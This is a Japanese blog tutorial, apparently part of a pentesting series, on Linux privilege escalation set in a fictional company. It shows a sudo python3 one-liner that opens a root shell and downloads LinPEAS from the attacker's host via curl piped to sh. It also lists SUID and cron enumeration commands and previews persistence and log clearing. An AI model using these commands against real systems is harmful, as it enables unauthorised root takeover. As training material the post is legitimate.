はじめに:侵入できた!……でも、何もできない?
本記事の内容は、セキュリティの仕組みを理解するための学習・研究を目的としています。 許可のない第三者のシステムへの攻撃や侵入行為は、法律で固く禁止されています。 検証を行う際は、必ずご自身が管理する環境、または許可を得た環境内でのみ実施してください。 本記事の情報を利用して生じた一切のトラブル・損害に対し、筆者は責任を負いかねます。
前記事へのリンクはこちら
https://qiita.com/tkmiii_GiGOOO/items/a666f74f20e467d44257
https://qiita.com/tkmiii_GiGOOO/items/01de1ee21d2491c54450
前回、私たちはついにシステム内部への侵入(Initial Access)を果たしました。
黒い画面にコマンドを打てば応答が返ってくる。ハッカーとして最高に興奮する瞬間です。
しかし、冷静になって whoami と打ってみてください。
おそらく返ってくるのは root ではなく、www-data や user といった名前でしょう。
これはRPGで言えば「村に忍び込んだけど、まだ村人Aの服を着ている状態」です。
重要なファイルの読み書きも、新しいソフトのインストールも、ログの消去もできません。
そこで必要になるのが、今回のテーマ「Privilege Escalation(権限昇格)」です。
一般市民から、神(Root / Administrator)へ成り上がる、最もスリリングなフェーズへようこそ。
「Kernel Exploit」は素人の罠
権限昇格と聞いて、初心者が真っ先に飛びつくのが「カーネルエクスプロイト(Kernel Exploit)」です。
「Dirty COW」のような有名な脆弱性を使って、OSの中核(カーネル)をバグらせて無理やりRootを奪う手法です。
しかし、プロはこれを「最後の手段(Last Resort)」として嫌います。
なぜなら、サーバーをクラッシュさせる(Kernel Panic)確率が高いからです。
顧客のサーバーを落としてしまうのは、プロとして失格です。
プロが探すのは、バグではありません。「管理者の設定ミス」です。
ケーススタディ:ラーメン大好き株式会社 での権限昇格
前回の続きです。WebShell経由、あるいはSSHで www-data ユーザーとして侵入に成功しています。
ここからどうやって root を取るか?
1. 魔法のコマンド sudo -l
Linuxに侵入して最初に打つべきコマンド、それが sudo -l です。
これは「今のユーザーが、管理者権限(sudo)で実行できるコマンドはあるか?」を確認するものです。
もし管理者が「Pythonスクリプトを便利に動かしたいから」といって、安易な設定をしていた場合、こんな結果が返ってきます。
User www-data may run the following commands on lamen-server:
(root) NOPASSWD: /usr/bin/python3
これは「パスワードなしで、root権限としてPythonを実行していいよ」という意味です。
管理者にとっては「Pythonを実行するだけ」のつもりですが、ハッカーにとっては「王冠の譲渡」に等しい設定です。
2. GTFOBins で「正規コマンド」を武器にする
ここでハッカーの必携サイト 「GTFOBins」 の出番です。
ここには「普通のUnixコマンドを使って権限昇格する方法」が網羅されています。
Pythonがsudoで動くなら、以下の1行でゲームセットです。
sudo python3 -c 'import os; os.system("/bin/sh")'
このコマンドを打った瞬間、プロンプトが # に変わります。
whoami を打てば、そこには root の文字。
あなたが、このサーバーの全権を掌握した瞬間です。
ADHD気質 × 権限昇格の「必勝パターン」
権限昇格の探索範囲は膨大です。
SUID、Cronジョブ、環境変数、Capabilities、NFS設定……。
ADHDタイプの場合、あれもこれも気になって「結局どこを見ればいいの?」と迷子になりがちです。
そこで、プロは「自動化スクリプト」を使って、自分の脳のメモリを節約します。
ツール:LinPEAS (Linux Privilege Escalation Awesome Script)
これは、システム内をくまなくスキャンして「怪しい設定」を全部リストアップしてくれる神スクリプトです。
- 自分のPCでLinPEASをホストする (
python3 -m http.server) - ターゲット側でダウンロードして実行 (
curl ... | sh) - カラフルな結果だけを見る
LinPEASは、99%確実な脆弱性を 「赤色+黄色」 でハイライトしてくれます。
ADHDの「注意が散漫になる」特性を逆手に取り、「派手な色がついているところだけ見る」というルールにすれば、驚くほど効率的に穴が見つかります。
権限昇格のチェックリスト(手動編)
ツールが使えない時のために、トップ3だけ覚えておきましょう。
-
Sudo Rights:
sudo -l(管理者が許可したコマンド) -
SUID Binaries:
find / -perm -u=s -type f 2>/dev/null(実行時にroot権限を持つファイル) -
Cron Jobs:
/etc/crontab(rootが定期実行しているスクリプトに書き込み権限はないか?)
おわりに:Rootを取ったら、何をする?
おめでとうございます。あなたは今、このサーバーの神になりました。
すべてのファイルを読み、書き、消去できます。
しかし、プロの仕事はここで終わりません。
次に考えるべきは、「いかにして長居するか(Persistence)」、そして「いかにして来た道を消すか(Log Clearing)」です。
Rootを取った高揚感の後にやってくる、冷徹な「後始末」の時間。
次回は、その「痕跡消去と維持」について語りましょう。
もちろんこれを試すときは他者のサイトに対して行わないようにしてください。
仮に忠告を無視して他者のサイトに対して攻撃を行い、損害が生じたとしても私は一切責任を負いません。